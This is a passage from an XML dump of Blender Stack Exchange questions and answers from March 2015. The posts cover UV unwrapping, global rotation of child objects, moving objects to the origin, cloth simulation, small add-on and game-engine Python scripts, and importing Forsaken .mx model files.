  <row Id="26448" PostTypeId="2" ParentId="24624" CreationDate="2015-03-01T11:25:57.220" Score="3" Body="&lt;p&gt;This is probably caused by the modifiers added to the mesh. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Orthographic mode &lt;kbd&gt;Numpad-5&lt;/kbd&gt;,  Back view &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Numpad-1&lt;/kbd&gt;.&#xA;You can unwrap it with &lt;kbd&gt;U&lt;/kbd&gt; &lt;em&gt;Unwrap from View&lt;/em&gt; without the distortion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eulb8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-01T11:25:57.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26449" PostTypeId="2" ParentId="26406" CreationDate="2015-03-01T11:31:17.730" Score="2" Body="&lt;p&gt;I had no luck getting the additive animations to work. Still have no clue why my head animation won't play as additive, only as override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up making an Avatar Mask and masked the character's body parts with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, my &quot;additive&quot; animations can play as Override. Not the perfect solution -- but a working solution.&lt;/p&gt;&#xA;" OwnerUserId="12878" LastActivityDate="2015-03-01T11:31:17.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26450" PostTypeId="1" AcceptedAnswerId="26462" CreationDate="2015-03-01T11:34:03.493" Score="2" ViewCount="2129" Body="&lt;p&gt;Object1 is a child of Object2. I rotated Object2 thus rotating Object1. In the Transform section of the N panel Rotation values of Object1 are 0,0,0. How do I get global values of rotation of Object1 related to world?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may seem trivial when you have only 2 objects, but actually I have a chain of child-parent relations, each one rotated by some degree. Calculating this by hand would take ages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to align rotation of the object that is not part of this child-parent chain with the object that is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Z0w4h.png&quot; alt=&quot;child rotation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1621" LastEditorUserId="1621" LastEditDate="2015-03-01T14:48:50.113" LastActivityDate="2020-11-14T12:57:45.203" Title="How do I find global rotation values of a child object?" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26451" PostTypeId="1" AcceptedAnswerId="26452" CreationDate="2015-03-01T12:39:28.047" Score="3" ViewCount="2663" Body="&lt;p&gt;I have a complex object far away from the origin of the scene itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I mark all parts and use the &lt;code&gt;Geometry to Origin&lt;/code&gt; function, the complex object gets crumbled, because all parts are set at the origin and the relations are destroyed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to move the object as a whole?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object was an import from an &lt;a href=&quot;https://en.wikipedia.org/wiki/STL_%28file_format%29&quot; rel=&quot;nofollow&quot;&gt;STL&lt;/a&gt; file.&lt;/p&gt;&#xA;" OwnerUserId="12883" LastEditorUserId="1224" LastEditDate="2015-03-01T19:04:14.293" LastActivityDate="2015-03-01T19:35:14.253" Title="How to move a complex object to the origin without destroying it?" Tags="&lt;objects&gt;&lt;coordinates&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26452" PostTypeId="2" ParentId="26451" CreationDate="2015-03-01T12:47:08.913" Score="5" Body="&lt;p&gt;Go into edit mode, select all and press &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;S&lt;/kbd&gt; and &lt;em&gt;Cursor to selected&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go back to object mode, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;C&lt;/kbd&gt;, &lt;em&gt;Origin to cursor&lt;/em&gt;, and then press &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;G&lt;/kbd&gt; (clear location).&lt;/p&gt;&#xA;" OwnerUserId="9603" LastEditorUserId="29" LastEditDate="2015-03-01T13:17:00.740" LastActivityDate="2015-03-01T13:17:00.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26453" PostTypeId="2" ParentId="26435" CreationDate="2015-03-01T13:20:21.400" Score="5" Body="&lt;p&gt;Create a layout that you're happy with and save it using &lt;strong&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now open existing files making sure the &lt;strong&gt;Load UI&lt;/strong&gt; is &lt;strong&gt;Unchecked&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5m27W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way the loaded file will use the User Interface/layout you saved as default, and when you re-save the file ,it will save the new UI.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-03-01T13:20:21.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26454" PostTypeId="1" CreationDate="2015-03-01T13:37:46.347" Score="0" ViewCount="1625" Body="&lt;p&gt;ive been busy trying to figure out Blender the past few days.&#xA;I havent had any experience with modeling or even photoshopping in overal, so this is totally new for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just got done with the head and body modelling and wanted to put a cape on, i followed a tutorial did the exact same things, now the cape is made  and i tried simulating it.&#xA;On the toturial the body doesnt move, the only thing that moves is the cape.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my simulation as you can see on the link below, my Body moves,  the eyes and cape do not move.&#xA;I think you get the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you can help me out&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.snag.gy/mWrNR.jpg&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:     Alright i think i saw what the problem of the body was :  The cloth Modifier for the body was on.       i put it off and it doesnt fall down now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now only the cape...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2:&#xA;I made the cape look collide too,  now the problem is that it doesnt collide well with the body.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;everything goes fine except it going THROUGH the hands, not colliding with it, is this because there arent many 'steps' like i had to do with the hair to calculate the colliding? if yes how do i change it?.&lt;/p&gt;&#xA;" OwnerUserId="12900" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.187" LastActivityDate="2015-04-07T18:13:48.260" Title="Cape not falling down in simulation" Tags="&lt;animation&gt;&lt;objects&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26455" PostTypeId="2" ParentId="26451" CreationDate="2015-03-01T14:27:04.163" Score="4" Body="&lt;p&gt;If you need to &lt;strong&gt;keep the origin in the same place&lt;/strong&gt;, you can select the object, press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &lt;em&gt;&gt; Cursor to Selected&lt;/em&gt;. Now press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Origin to Geometry&lt;/em&gt; and then press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; &lt;em&gt;&gt; Selection to cursor&lt;/em&gt;. &lt;strong&gt;You do not need to be in edit mode at any time to do this&lt;/strong&gt;, and the origin will end up in the same place, just with the mesh centered around it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can just press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Origin to Geometry&lt;/em&gt; or any of the other options, just this one command has the same result as Christy James process.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastEditorUserId="6204" LastEditDate="2015-03-01T14:51:04.240" LastActivityDate="2015-03-01T14:51:04.240" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26456" PostTypeId="2" ParentId="26450" CreationDate="2015-03-01T14:42:13.493" Score="2" Body="&lt;p&gt;I found a dirty workaround, maybe someone will find a cleaner solution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select rotated child object that you would like to align to.&#xA;Press &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Numpad 1&lt;/kbd&gt; to align view to the object.&#xA;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;Numpad 0&lt;/kbd&gt; to align camera to view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now your camera's Transform Rotation data are equal to global rotation of your child object.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select object you would like to align.&lt;/li&gt;&#xA;&lt;li&gt;Shift select your camera.&lt;/li&gt;&#xA;&lt;li&gt;Go to object tab.&lt;/li&gt;&#xA;&lt;li&gt;Hover your mouse over rotation values, press right mouse button, select &quot;Copy to selected&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Voila, your object has the desired global rotation values.&lt;/p&gt;&#xA;" OwnerUserId="1621" LastEditorUserId="29" LastEditDate="2015-03-01T14:53:18.750" LastActivityDate="2015-03-01T14:53:18.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26457" PostTypeId="2" ParentId="26451" CreationDate="2015-03-01T14:43:09.027" Score="2" Body="&lt;p&gt;Or, in edit mode, select all &lt;kbd&gt;A&lt;/kbd&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt; &gt; &lt;em&gt;cursor to center&lt;/em&gt;&lt;br&gt;&#xA;&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt; &gt; &lt;em&gt;selection to cursor (offset)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-03-01T14:43:09.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26458" PostTypeId="1" AcceptedAnswerId="26463" CreationDate="2015-03-01T15:06:16.057" Score="0" ViewCount="90" Body="&lt;p&gt;As far as I know you can enable displaying key strokes while you screencast for tutorials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to archive this without casting? I would like to have visual feedback which combos I pressed to make remembering easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="12883" LastActivityDate="2015-03-01T16:10:12.513" Title="Enable displaying of key strokes without casting" Tags="&lt;shortcut&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26459" PostTypeId="1" CreationDate="2015-03-01T15:14:53.173" Score="2" ViewCount="210" Body="&lt;p&gt;I'm trying to modify my local copy of dynamic spacebar to include a &quot;Snap to Curve Intersection&quot; option on the &quot;Snap Cursor Menu&quot; starting with circle-circle intersections and circle-path intersections for straight paths that will snap the cursor to the closest intersection to its existing location.  I've gotten as far as making a new menu option that only appears enabled when two curves are selected and broken out a separate curveIntersect function to encapsulate the whole thing but I'm having trouble finding a way to distinguish curve types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the questions here are:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to determine curve types from within an addon, or are those only applied at the time of curve creation and all checks would have to be based on their vertices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there already an addon that does this which might save time, or a function built into Blender to handle curve intersections that could be called to pick the from a list of vertices by distance from the existing cursor position?  (so far I haven't found one anywhere in the API)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worried I might have to go at this completely from scratch as my existing repository of c# functions for 2D geometry doesn't include bezier intersections I might port over to python.&lt;/p&gt;&#xA;" OwnerUserId="11360" LastEditorUserId="2217" LastEditDate="2015-03-01T19:06:33.370" LastActivityDate="2015-03-01T19:06:33.370" Title="Determine if object is bezier circle curve?" Tags="&lt;python&gt;&lt;bezier-curves&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26460" PostTypeId="1" CreationDate="2015-03-01T15:36:17.517" Score="3" ViewCount="7401" Body="&lt;p&gt;I have an obj sequence of a fluid simulation from Realflow. I've found a few tools that can import an obj sequence into blender, but most are outdated and don't work. Are there any scripts or plug-ins that can do that?&lt;/p&gt;&#xA;" OwnerUserId="12707" LastEditorUserId="241" LastEditDate="2020-06-26T13:47:15.373" LastActivityDate="2020-06-26T13:47:15.373" Title="How can I import an obj sequence into blender?" Tags="&lt;scripting&gt;&lt;import&gt;&lt;external-applications&gt;&lt;obj&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26462" PostTypeId="2" ParentId="26450" CreationDate="2015-03-01T16:07:50.430" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add a &lt;strong&gt;Copy Rotation&lt;/strong&gt; constraint to the object you want to rotate. In constraint panel, set Target to that child object;&lt;/li&gt;&#xA;&lt;li&gt;After seeing it being aligned well, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt;  &lt;strong&gt;Visual Transform&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Delete that constraint, since you don't need it anymore.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to &quot;know&quot; the global rotation info, you can simply &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;strong&gt;Clear and Keep Transformation&lt;/strong&gt;, then you will see the visual rotation applied, which is the global rotation. After getting what you want, you can simply &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to undo.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-03-01T16:23:04.893" LastActivityDate="2015-03-01T16:23:04.893" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26463" PostTypeId="2" ParentId="26458" CreationDate="2015-03-01T16:10:12.513" Score="2" Body="&lt;p&gt;You want to download and install the   &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Screencast_Key_Status_Tool&quot; rel=&quot;nofollow&quot;&gt;screen cast key status tool&lt;/a&gt; plugin. It has been removed from the Blender download package. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It displays the keys when enabled independently from recording a screencast or normal interaction.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-03-01T16:10:12.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26465" PostTypeId="2" ParentId="26395" CreationDate="2015-03-01T16:44:06.477" Score="2" Body="&lt;p&gt;I got &lt;code&gt;armature.data.pose_position&lt;/code&gt; change to work&#xA;After changing to &lt;code&gt;REST&lt;/code&gt; I had to call &lt;code&gt;context.scene.update()&lt;/code&gt; and it calculates positions in rest pose. I change it once to pose when exporting keyframes and it is working as well.&lt;/p&gt;&#xA;" OwnerUserId="8031" LastActivityDate="2015-03-01T16:44:06.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26466" PostTypeId="2" ParentId="24662" CreationDate="2015-03-01T16:54:25.677" Score="1" Body="&lt;p&gt;I assume that you use cycles render in blender.&#xA;If you used the quick smoke effect by adding Object/quick effects/ quick smoke you can try to set the color of the flame by: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;selecting the Smoke Domain of the fire emitting object &lt;/li&gt;&#xA;&lt;li&gt;open the node editor &lt;/li&gt;&#xA;&lt;li&gt;change the color of the flame in the ColorRamp settings.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Using more than one Smoke Domain means that you can have several color settings and combine then in your scene.&lt;/p&gt;&#xA;" OwnerUserId="11632" LastEditorUserId="3089" LastEditDate="2015-03-02T11:42:56.947" LastActivityDate="2015-03-02T11:42:56.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26467" PostTypeId="1" AcceptedAnswerId="26476" CreationDate="2015-03-01T17:36:14.460" Score="3" ViewCount="1583" Body="&lt;p&gt;I have seen this thread: &lt;a href=&quot;https://blender.stackexchange.com/questions/23169/how-can-i-use-an-image-texture-as-a-guide-for-weight-painting&quot;&gt;How can I use an image texture as a guide for weight painting?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it allows me to use textures as a guide for weight painting... but is it possible to get weight paint maps in and out of Blender, so they could be edited with a more sophisticated image editor?&lt;/p&gt;&#xA;" OwnerUserId="11590" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2020-02-06T14:35:09.357" Title="Weight paint maps in/out of Blender to allow editing in Photoshop or other" Tags="&lt;weight-painting&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26468" PostTypeId="2" ParentId="26459" CreationDate="2015-03-01T17:39:24.633" Score="3" Body="&lt;p&gt;this will return the curve type &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.curves['curve'].splines[0].type&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the output is in  [‘POLY’, ‘BEZIER’, ‘BSPLINE’, ‘CARDINAL’, ‘NURBS’] &lt;br&gt;&#xA;for more info &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_68_release/bpy.types.Spline.html&quot; rel=&quot;nofollow&quot;&gt;Spline&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-01T17:39:24.633" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26469" PostTypeId="2" ParentId="24108" CreationDate="2015-03-01T18:08:44.507" Score="0" Body="&lt;p&gt;I ended up starting on some modifications to the dynamic spacebar code for technical drawing and threw this in as well, if anyone is interested here are the changes for &lt;code&gt;/scripts/addons/space_view3d_spacebar_menu.py&lt;/code&gt; to produce a quick copy-angle-to-clipboard function on the dynamic spacebar menu (takes the cursor as the centerpoint and the angle between two selected objects - only works along the X/Y axis and ignores Z):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def copyAngleToClipboard(context, operator):&#xA;from math import fabs, pi, pow, sqrt&#xA;if len(context.selected_objects) != 2:&#xA;    operator.report({'ERROR'}, &quot;Two objects must be selected&quot;)&#xA;    return None&#xA;obj = context.selected_objects[0]&#xA;obj2 = context.selected_objects[1]&#xA;if (obj.type != &quot;CURVE&quot;):&#xA;    operator.report({'ERROR'}, &quot;Both selected objects must be curves&quot;)&#xA;    return None&#xA;if (obj2.type != &quot;CURVE&quot;):&#xA;    operator.report({'ERROR'}, &quot;Both selected objects must be curves&quot;)&#xA;    return None&#xA;&#xA;cx = context.scene.cursor_location[0]&#xA;cy = context.scene.cursor_location[1]&#xA;p1x = obj.location[0]&#xA;p1y = obj.location[1]&#xA;p2x = obj2.location[0]&#xA;p2y = obj2.location[1]&#xA;a1 = point2dAngle(cx, cy, p1x, p1y) * (180 / math.pi)&#xA;a2 = point2dAngle(cx, cy, p2x, p2y) * (180 / math.pi)&#xA;a = a2 - a1&#xA;if a1 &amp;gt; a2:&#xA;    a = a1 - a2&#xA;operator.report({'INFO'}, str(a))&#xA;context.window_manager.clipboard = str(a)&#xA;return&#xA;&#xA;class VIEW3D_OT_CopyAngleToClipboard(bpy.types.Operator):&#xA;&quot;Copies the angle centered at the cursor between two selected objects to the clipboard&quot;&#xA;&#xA;bl_idname = &quot;view3d.copy_angle_to_clipboard&quot;&#xA;bl_label = &quot;Copy Angle to Clipboard&quot;&#xA;&#xA;@classmethod&#xA;def poll(cls, context):&#xA;    if len(context.selected_objects) != 2:&#xA;        return None&#xA;    obj = context.selected_objects[0]&#xA;    obj2 = context.selected_objects[1]&#xA;    return obj != None and obj2 != None&#xA;&#xA;def execute(self, context):&#xA;    copyAngleToClipboard(context, self)&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then inside of &lt;code&gt;VIEW3D_MT_CursorMenu&lt;/code&gt; and &lt;code&gt;VIEW3D_MT_EditCursorMenu&lt;/code&gt; add the following two lines at the end (or wherever you want in the list):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;layout.separator()&#xA;layout.operator(&quot;view3d.copy_angle_to_clipboard&quot;,&#xA;                    text=&quot;Copy Angle to Clipboard&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11360" LastActivityDate="2015-03-01T18:08:44.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26470" PostTypeId="2" ParentId="26388" CreationDate="2015-03-01T18:17:50.243" Score="10" Body="&lt;p&gt;As you have said you can use drivers  were you get X,Y and Z separately from using drivers then combine them and use the result :&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is one of the drivers :&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WyfxI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is the what changed in the node setup :&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ZPwo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this is the result : &lt;em&gt;I'm moving the Empty object 'which is not visible'&lt;/em&gt; &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PssP3.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note : i didn't use driver directly on the 'combine XYZ' because it was clipping negative values&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-03-01T18:17:50.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26471" PostTypeId="2" ParentId="26451" CreationDate="2015-03-01T19:24:57.640" Score="3" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add an empty &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;Empty&lt;/em&gt; &gt; &lt;em&gt;Plain Axes&lt;/em&gt;, then position it at the proper position to your object with &lt;kbd&gt;G&lt;/kbd&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select all the pieces of your object, then select the empty last.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/26109/2217&quot;&gt;Parent&lt;/a&gt; the object(s) to the empty with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;Object&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select just the empty and press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; to clear the location, which moves it to the scene origin.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;*Optional step*&lt;/em&gt; if you do not want your object(s) parented to a empty&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Again select both the empty and your object(s), then press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; &gt; &lt;em&gt;Clear and Keep Transformation&lt;/em&gt;. If you want to, you can now delete the empty.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZO2pi.gif&quot; alt=&quot;animated gif of moving objects to the origin process&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-03-01T19:35:14.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26472" PostTypeId="1" AcceptedAnswerId="26501" CreationDate="2015-03-01T19:35:59.073" Score="5" ViewCount="1238" Body="&lt;p&gt;In &lt;a href=&quot;https://blender.stackexchange.com/questions/2014/render-borders-related-check-boxes-how-do-they-work&quot;&gt;this question&lt;/a&gt; there is a screenshot showing the ability to set render border settings. However when I use Ctrl-b and select an area I don't see these settings in the options area, it just shows the text &quot;Set Render Border&quot; with a blank area (Blender 2.73b).  Was this ability removed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mainly interested in these settings to see if they can be interpolated in an animation.&lt;/p&gt;&#xA;" OwnerUserId="1756" LastEditorUserId="241" LastEditDate="2020-03-13T19:31:48.303" LastActivityDate="2020-03-13T19:31:48.303" Title="Render border settings" Tags="&lt;rendering&gt;&lt;render-border&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26473" PostTypeId="2" ParentId="26391" CreationDate="2015-03-01T19:52:35.227" Score="3" Body="&lt;p&gt;i have solved it by myself by learning python and making new system, using this script. anyway thx for  answers...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic as GameLogic&#xA;c = GameLogic.getCurrentController()&#xA;own = c.owner&#xA;&#xA;enemydetect = c.sensors[&quot;enemydetect&quot;]&#xA;punchright = c.sensors[&quot;punchright&quot;]&#xA;if punchright.positive and enemydetect.positive:&#xA;&#xA;&#xA;    obj = enemydetect.hitObject&#xA;&#xA;    obj[&quot;HP&quot;] = obj[&quot;HP&quot;] - own[&quot;RightDamage&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12874" LastActivityDate="2015-03-01T19:52:35.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26474" PostTypeId="1" AcceptedAnswerId="26500" CreationDate="2015-03-01T20:15:19.487" Score="3" ViewCount="375" Body="&lt;p&gt;A game called Forsaken (1998) has models in &lt;strong&gt;.mx&lt;/strong&gt; and &lt;strong&gt;.mxa&lt;/strong&gt; format. Although I'm not sure what's the difference between them, I'd like to know if there's some import script available for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cOTX7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched for md3 importing scripts before, I bet there should be some for mx too.&lt;/p&gt;&#xA;" OwnerUserId="3751" LastActivityDate="2015-03-05T07:37:39.133" Title="Is there a way to import .mx or .mxa files?" Tags="&lt;import&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26475" PostTypeId="2" ParentId="26474" CreationDate="2015-03-01T20:31:03.043" Score="2" Body="&lt;p&gt;The .mx format and the animated variant .mxa are documented in the sources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/ForsakenX/forsaken/wiki/File-format:-mx&quot; rel=&quot;nofollow&quot;&gt;File-format - .mx&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/ForsakenX/forsaken/wiki/File-format:-mxa&quot; rel=&quot;nofollow&quot;&gt;File-format - .mxa&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The binary format looks different to the Blender supported formats (at least the ones I have seen so far). You would need to write a custom importer.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;num_texture_files : uint16&#xA;texture_file_name[num_texture_files] : '\\0' separated strings&#xA;num_groups : uint16&#xA;{&#xA;    num_exec_lists : uint16&#xA;    {&#xA;      exec_type : uint32 // 0 = entirely opaque, 1 = contains transparencies&#xA;      num_vertices : uint16&#xA;      vertex(x,y,z,reserved,colour,specular,tu,tv)[num_vertices] : x, y, z float, others uint32&#xA;      num_texture_groups : uint16&#xA;      {&#xA;        texture_type : uint16 // 0 = normal, 1 = environment mapped&#xA;        start_vertex : uint16&#xA;        num_vertices : uint16&#xA;        texture_no : uint16&#xA;        num_triangles : uint16&#xA;        triangles(v0,v1,v2,pad16,nx,ny,nz)[num_triangles] : v? uint16, pad16 uint16, n? float&#xA;      }[num_texture_groups]&#xA;    }[num_exec_lists]&#xA;}[num_groups]&#xA;mxtype : uint16 // always 0 for mx format&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The sources of the &lt;a 